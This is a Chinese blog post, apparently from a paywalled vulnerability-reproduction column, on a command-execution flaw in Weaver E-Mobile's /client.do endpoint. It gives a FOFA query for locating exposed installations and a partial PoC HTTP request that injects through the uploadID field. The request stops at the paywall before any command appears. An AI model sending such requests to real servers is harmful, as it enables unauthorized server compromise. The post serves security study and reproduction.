泛微E-Mobile /client.do 命令执行漏洞复现

0xSecl

已于 2024-04-06 14:47:34 修改

阅读量1.3k

点赞数 4

分类专栏：漏洞复现文章标签： web安全安全

于 2024-04-04 18:06:18 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/137379156

版权

漏洞复现专栏收录该内容

720 篇文章 1135 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

0x01 产品简介

泛微e-Mobile移动管理平台是一款由泛微软件开发的企业移动办公解决方案。它提供了一系列功能和工具，使企业员工能够通过移动设备随时随地进行办公和协作。

0x02 漏洞概述

泛微E-Mobile存在命令执行漏洞，攻击者可以通过/client.do执行任意命令执行，从而获得服务器权限。

0x03 复现环境

FOFA："Weaver E-Mobile"

0x04 漏洞复现

PoC

POST /client.do HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTm8YXcJeyKDClbU7

------WebKitFormBoundaryTm8YXcJeyKDClbU7
Content-Disposition: form-data; name="method"
 
getupload
------WebKitFormBoundaryTm8YXcJeyKDClbU7
Content-Disposition: form-data; name="uploadID"
 
1'

了解本专栏